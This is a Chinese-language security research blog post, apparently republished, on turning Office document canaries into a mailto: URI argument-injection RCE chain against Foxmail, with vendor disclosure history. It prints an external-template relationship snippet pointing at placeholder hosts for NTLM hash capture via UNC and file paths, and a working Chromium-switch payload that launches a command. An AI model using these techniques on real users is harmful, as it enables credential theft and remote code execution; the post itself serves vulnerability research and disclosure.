从Office诱饵到鸡肋RCE
2023-5-23 12:16:20 Author: blog.xlab.app(查看原文) 阅读量:70 收藏

21年5月在研究Office诱饵时挖掘出新的攻击链路，年末在公司内部分享时整理出本文

今天收到Bugzilla的邮件，想起这篇稿子，居然刚好2年了，真·回忆录

摘要

  1. 介绍Office文件诱饵及原理
  2. Office的类SSRF漏洞
  3. Windows URI scheme协议漏洞
  4. 构造RCE利用链
  5. 扩大攻击面
  6. 漏洞修复与防御
  7. 后续可探索方向

Office文件诱饵

制作Office文件，能够在文件被打开的时候收到告警

有一些实现思路

  1. 嵌入远程资源
  2. 宏

嵌入远程资源是一个比较常见的公开技术

Office文件本质上是一个压缩包，直接解压就能看到内部的文件结构

以Word为例

在word\_rels\settings.xml.rels中嵌入

1
2
3
4
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
	<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="<这里填远程资源地址>" TargetMode="External"/>
</Relationships>

除了可以嵌入http资源，在Windows中还可以通过URC路径和file协议获取NTLM，例如

1
2
3
http://x.x.x.x/leak
file://x.x.x.x/leak
\\x.x.x.x\leak

UNC参考 https://pentestlab.blog/2017/12/18/microsoft-office-ntlm-hashes-via-frameset/

file协议参考 https://www.securify.nl/en/blog/living-off-the-land-stealing-netntlm-hashes/

在macOS版本的Office中只支持http资源

如果嵌入http资源，只能获取到IP，ua等信息，但兼容Windows和macOS

如果嵌入unc或者file协议，能获取除了IP，还有主机名，ntlm等信息，但macOS不兼容

如果我全都要，那得嵌入两个资源？

神秘的重定向

从某种角度来说，这个漏洞算是类SSRF，SSRF就很容易想到：重定向，跨协议重定向，DNS重绑定…

测试发现Office在请求http资源的时候是支持重定向的，而且支持跨协议的重定向，也就是说能从http重定向到file协议（当然unc也可以）

再结合通过http请求中ua获取的客户端信息，如果是Windows机器就重定向到file协议获取NTLM Hash，如果不是就不重定向

完美

Office似乎是有一个支持重定向的http client

那它会解析html，会执行js吗？

各种尝试之后发现有以下特性

  1. 支持http重定向
  2. 支持cookie
  3. 支持file协议
  4. 支持UNC路径
  5. 不解析html/js

URI scheme

仔细研究之后发现Office似乎是调用了IE组件实现的（应该是urlmon.dll和mshtml.dll吧）

也就说这个组件支持的协议，都可以利用

漏洞升级：任意http请求->任意重定向->调用URI scheme

发现URI scheme上出过不少问题，个个rce，学习一波

GitHub Desktop https://blog.xpnsec.com/github-desktop-rce/

Origin https://zero.lol/posts/2019-05-22-fun-with-uri-handlers/

Office https://www.zerodayinitiative.com/blog/2019/9/24/cve-2019-0801-microsoft-office-uri-hyperlink-hijinks

Edge https://leucosite.com/Microsoft-Edge-RCE/

mIRC https://proofofcalc.com/cve-2019-6453-mIRC/

Electron https://paper.seebug.org/719/ （推荐）

Electron https://xz.aliyun.com/t/1994 （推荐）

iOS https://paper.seebug.org/1659/

由于这里是调用URI scheme，需要一个支持URI scheme的程序作为受害者，通过传递恶意的url参数进行攻击

这里考虑两种攻击路径

  1. 利用字符逃逸注入命令行参数

依赖Office（或者说IE组件）对命令行参数的编码情况

在Windows使用自定义协议启动程序时有两种基本形式

1
2
"C:\a.exe" "%1"
"C:\a.exe" %1

大部分程序都是使用第一个，也就是需要逃逸"字符，闭合前面的"才能进行参数注入

而有一些程序使用的是第二个，此时只需要逃逸空格就可以实现参数注入

比如有程序有-exec参数可以执行命令，可以通过字符逃逸注入-exec参数实现执行命令

  1. 无法注入命令行参数，只能对参数本身进行注入

这依赖程序自身对参数的解析，以及参数实现的功能

基本不用考虑编码逃逸的问题，只需要找到一个可利用的程序参数即可（这样的参数可能比较少，尤其是会暴露给URI scheme的情况）

比如有程序有参数-c，程序内部对-c参数实现功能时存在命令拼接

漏洞挖掘

我主要关注第一种攻击路径，在测试一大堆协议之后，发现可以在处理mailto:协议时没有对"进行编码，也没有对空格编码，非常方便进行攻击

payload直接带入命令行参数，实现任意命令行参数注入

以foxmail为例

漏洞利用

mailto协议主要就是攻击邮件客户端，尝试了以下客户端

  1. UWP Mail
  2. Outlook
  3. Foxmail
  4. Thunderbird

Windows 的UWP Mail调用mailto协议处理有些不同，无法插入命令行参数

Outlook和Thunderbird没有找到合适的参数用于执行命令

Foxmail基于Chromium内核开发，Chromium的参数众多，作为后面的主要攻击目标

同时Foxmail没有对传入参数做任何处理，所有Chromium的参数都可以利用，比如

结合前面的Office文件诱饵，在非保护模式下，打开文档即可一键RCE

鸡肋：这需要攻击者安装Foxmail，而且Foxmail有窗口，导致漏洞利用非常明显

尝试开发无弹窗利用，找了很多Chrome参数都不行

https://peter.sh/experiments/chromium-command-line-switches

扩大攻击面

masOS

在早些时候（2021年5月），macOS上的Office也支持调用URI scheme，可以打开mail.app

但现在不行了，不知道是什么时候修了

当时也没有过多探索，现在也探索不了了…

IE

前面提到Office是调用IE组件实现的，那么IE也当然受影响

利用a标签嵌入在页面中即可

但是在IE中点击链接时会弹窗提示，将打开Foxmail

浏览器

既然IE受影响，当然看看其他的浏览器

Firefox没有对空格编码，使用%1程序存在被注入可能

由于Foxmail正是使用%1，上面的利用对Firefox也有效

Edge：编码
Chrome：编码

pdf

pdf中也可以嵌入mailto链接

Edge：编码
Chrome：编码
Adobe：编码

Word

在Word里也可以嵌入mailto链接

测试会编码

漏洞修复

Foxmail（腾讯）

忽略，认为是浏览器的bug，foxmail后续可能会考虑对参数限制

并获得20个安全币…

后来看foxmail更新了，发现只是禁用了--gpu-launcher参数

当然Chromium的参数非常多，随意RCE，也懒得再去提foxmail的漏洞

1
mailto:? --renderer-cmd-prefix="cmd.exe /c start calc"

对于Chromium来说，对参数进行限制有最佳实践，Chrome浏览器在处理http协议时是这样的

1
"C:\Program Files\Google\Chrome\Application\chrome.exe" --single-argument %1

Office/IE

经过反复扯皮，微软确认是一个Low severity Security Feature Bypass，但可能不会修，因为

对于Office

  1. 无法绕过保护模式

对于IE

  1. 在IE点击是会弹窗提示打开邮件客户度，而且默认选择是“取消”
  2. 漏洞依赖邮件客户端特性

说如果有outlook的利用（即使有提示），或者其他客户端无提示利用，会考虑提高漏洞等级

我没有说过微软修复，于是这个漏洞就不了了之了

Firefox

报告时说是一个已知漏洞，从bugid上看，数字比较小，估计有些年头了

https://bugzilla.mozilla.org/show_bug.cgi?id=1696685

目前在94版本（2021.11.2发布）修复了

展望

  1. 挖掘outlook利用，将漏洞等级提高

  2. IE组件支持的协议很多，可以挖掘其他协议的漏洞

比如its，mk，res等冷门协议（因为不知道这些协议是干啥的，也没找到相关资料，就没多看）

找到只依赖系统组件就能处理的协议，结合Office利用，RCE就不再鸡肋了

  1. 这些IE组件有没有被其他程序使用，是否也可以利用

  2. 挖掘老版本macOS利用（似乎意义不大？）

2023.5 更新

翻到Firefox给分配了CVE：CVE-2021-43541

也看到了一些新的相关攻击案例

2021.12 Positive Security挖了 ms-officecmd协议的漏洞，也是有点和微软扯皮

https://positive.security/blog/ms-officecmd-rce

2022.6 著名的Follina漏洞，利用ms-msdt协议漏洞进行攻击，实现Office RCE，和本文非常相似，但我是挖不到ms-msdt协议漏洞

https://paper.seebug.org/1911/

可能是上个月吧，不知道咋翻到一个古老的blackhat议题 URI Use and Abuse

https://www.blackhat.com/presentations/bh-dc-08/McFeters-Rios-Carter/Presentation/bh-dc-08-mcfeters-rios-carter.pdf

https://www.blackhat.com/presentations/bh-europe-08/McFeters-Rios-Carter/Whitepaper/bh-eu-08-mcfeters-rios-carter-WP.pdf

找上面的pdf时又翻到了一个hitb的议题 A"ack Surface Extended by URL Schemes

https://conference.hitb.org/hitbsecconf2017ams/materials/D2T2%20-%20Yu%20Hong%20-%20Attack%20Surface%20Extended%20by%20URL%20Schemes.pdf


文章来源: https://blog.xlab.app/p/8fbece25/
如有侵权请联系:admin#unsafe.sh